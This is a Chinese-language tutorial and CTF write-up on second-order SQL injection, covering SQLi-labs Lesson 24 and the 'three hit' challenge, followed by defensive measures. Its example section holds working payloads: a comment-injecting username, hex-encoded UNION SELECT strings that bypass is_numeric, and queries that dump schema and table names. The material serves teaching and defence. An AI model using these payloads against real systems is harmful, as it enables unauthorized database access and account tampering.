由Three Hit聊聊二次注入
字数 1295 2025-08-18 11:37:12
二次注入技术详解
一、二次注入基本概念
定义:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入攻击。
特点:
- 比普通SQL注入利用更困难,门槛更高
- 攻击过程分为两个阶段:数据存储阶段和数据使用阶段
- 通常绕过前端直接输入过滤
二、二次注入原理
-
第一阶段:攻击者提交恶意数据
- 数据经过转义处理(如addslashes、mysql_real_escape_string等)
- 转义后的"安全"数据被存入数据库
- 但数据库中存储的是原始恶意数据(转义被还原)
-
第二阶段:程序使用存储的数据
- 程序从数据库取出"可信"数据
- 未进行二次检验和处理
- 直接拼接到SQL查询中执行
关键点:开发者错误认为存入数据库的数据就是安全的,忽略了从数据库取出时的再检验。
三、二次注入实例分析
实例1:SQLIlab Lesson-24
攻击流程:
-
注册特殊用户名:
test'#- 注册时经过
mysql_escape_string转义 - 但数据库中存储原始值
test'#
- 注册时经过
-
使用
test'#登录并修改密码- 实际执行的SQL:
UPDATE users SET PASSWORD='22' where username='test'#' and password='$curr_pass' #注释掉后续密码验证条件- 结果修改了
test用户的密码而非test'#的密码
- 实际执行的SQL:
漏洞根源:
- 从数据库取出用户名时未做处理
- 直接拼接到UPDATE语句中
实例2:强网杯"three hit"题目
环境特点:
- 用户名限制:0-9a-zA-Z
- age限制:只能是数字
- 但age支持十六进制表示
攻击流程:
-
发现注入点:
- 通过
.index.php.swp获取源码 - 发现age字段使用
is_numeric检查,可用十六进制绕过
- 通过
-
验证注入:
- 注册age为
0x3120616e6420313d3123(1 and 1=1#) - 注册age为
0x3120616e6420313d3223(1 and 1=2#) - 观察返回结果差异确认注入存在
- 注册age为
-
探测列数:
- 注册age为
0x31206f72646572206279203423(1 order by 4#) → 成功 - 注册age为
0x31206f72646572206279203523(1 order by 5#) → 失败 - 确定列数为4
- 注册age为
-
利用UNION注入:
- 确定显示位:
1 and 1=2 union select 1,2,3,4# - 发现第2列可用于显示
- 确定显示位:
-
数据泄露:
- 爆数据库名:
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata# - 爆表名:
1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qwb'# - 最终获取flag:
19 and 1=2 union select null,concat(flag),null,null from flag#
- 爆数据库名:
四、防御措施
-
输入处理:
- 不仅对直接输入过滤,对从数据库取出的数据也要过滤
- 使用参数化查询(Prepared Statements)
-
数据存储:
- 考虑存储转义后的数据
- 或标记不可信数据的来源
-
权限控制:
- 数据库用户最小权限原则
- 避免使用高权限账户连接数据库
-
代码审计:
- 检查所有从数据库取出数据的处理流程
- 特别注意数据拼接SQL语句的位置
五、总结
二次注入是一种需要两个阶段完成的SQL注入攻击,其特点在于:
- 绕过初次输入过滤
- 利用开发者对数据库数据的信任
- 通常需要结合应用逻辑进行分析
防御关键在于建立"数据无论来自何处都不可信"的安全意识,对所有用于构建SQL语句的数据进行严格处理。